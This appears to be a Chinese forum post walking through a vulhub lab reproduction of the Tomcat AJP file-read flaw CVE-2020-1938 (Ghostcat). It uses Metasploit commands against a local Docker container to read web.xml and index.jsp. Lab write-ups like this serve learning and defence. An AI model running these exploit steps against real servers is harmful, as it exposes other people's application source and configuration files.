找回密码
 立即注册
首页 业界区 安全 【vulhub】tomcat CVE-2020-1938(AJP漏洞)

【vulhub】tomcat CVE-2020-1938(AJP漏洞)

闻人莹华 2025-6-1 21:00:01
渗透环境

攻击机:    192.168.66.130(Kali)
漏洞收录于:vulhub/tomcat/CVE-2020-1938
漏洞详情

也被称为“Ghostcat”漏洞,是一个影响Apache Tomcat服务器的严重安全漏洞。
漏洞原理
Tomcat默认在server.xml中开启AJP协议端口(默认8009),用于与其他Web服务器(如Apache HTTPD)通信。由于AJP协议在处理请求时未对用户输入充分验证,攻击者可通过构造恶意请求操控以下三个关键属性:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path
    通过控制这些属性,攻击者可读取或包含webapp目录下的任意文件(如WEB-INF/web.xml、源代码等),甚至结合文件上传功能实现远程代码执行(RCE)
受影响版本

  • Apache Tomcat 6(全版本)
  • Apache Tomcat 7(7.0.0至7.0.99)
  • Apache Tomcat 8(8.0.0至8.5.50)
  • Apache Tomcat 9(9.0.0至9.0.30)
漏洞触发条件

  • 开启AJP协议端口:默认情况下,Tomcat的AJP连接器(8009端口)监听所有IP地址(0.0.0.0)。
  • 受影响版本:使用存在漏洞的Tomcat版本且未升级修复。
复现漏洞

启动环境

vulhub启动漏洞环境
  1. docker-compose up -d
复制代码
1.png

可以看到,该容器确实在监听所有IP地址的8009端口
漏洞利用

可以使用msf来验证漏洞,msf中默认的filename值为/WEB-INF/web.xml,在靶机中对应的路径实际上是/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,也就是说,利用该漏洞只能读取到/usr/local/tomcat/webapps/ROOT/下的文件。
  1. msfconsole
  2. search cve-2020-1938
  3. use 0
  4. show options
  5. set rhosts 127.0.0.1                # 漏洞环境是部署在本地的docker容器中的
  6. run
复制代码
2.png

红框中的内容就是WEB-INF/web.xml,能够成功读到,说明漏洞存在。
也可以选择其他文件,如index.jsp,其完整路径为/usr/local/tomcat/webapps/ROOT/index.jsp
  1. set filename /index.jsp
  2. run
复制代码
也能够读到jsp文件源码
3.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册